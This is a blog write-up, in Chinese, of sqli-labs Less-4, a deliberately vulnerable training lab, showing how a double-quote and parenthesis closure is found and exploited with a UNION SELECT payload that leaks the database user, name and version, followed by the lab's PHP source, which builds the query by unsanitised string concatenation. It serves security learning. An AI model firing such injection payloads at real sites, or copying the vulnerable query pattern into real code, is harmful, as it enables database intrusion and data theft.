sqli-labs之Less-4
涂寐 Lv5

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
本文首发于 涂寐’s Blogs:https://0xtlu.github.io/article/66b733df.html

0x00 万能的引号

默默的继续单引号测试,居然没返回,没错误没数据……改用它的兄弟双引号,拿到错误"1"") LIMIT 0,1,和Less3一值,仅是单引号改变双引号

1
http://192.168.184.129:49154/Less-4/?id=1"

image

0x01 构造闭合

其他直接访问笔记:sqli-labs之Less-1

1
http://192.168.184.129:49154/Less-4/?id=-1") union select 1,2,concat_ws(char(32,58,32),user(),database(),version())%23%23

image

0x02 源码分析

  1. 目光转至以下代码块的第16行,在 php 中是通过点连接符对双引号和前端传入的id值进行拼接
  2. 在接入 SQL 语句时,仍使用小括号对修改后参数进行包括,起到简单防护,其他继续看:sqli-labs之Less1
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    <?php
    //including the Mysql connect parameters.
    include("../sql-connections/sql-connect.php");
    error_reporting(0);
    // take the variables
    if(isset($_GET['id']))
    {
    $id=$_GET['id'];
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."\n");
    fclose($fp);

    // connectivity

    $id = '"' . $id . '"';
    $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

    if($row)
    {
    echo "<font size='5' color= '#99FF00'>";
    echo 'Your Login name:'. $row['username'];
    echo "<br>";
    echo 'Your Password:' .$row['password'];
    echo "</font>";
    }
    else
    {
    echo '<font color= "#FFFF00">';
    print_r(mysql_error());
    echo "</font>";
    }
    }
    else { echo "Please input the ID as parameter with numeric value";}

    ?>

    </font> </div></br></br></br><center>
    <img src="../images/Less-4.jpg" /></center>
    </body>
    </html>
    </font>
 评论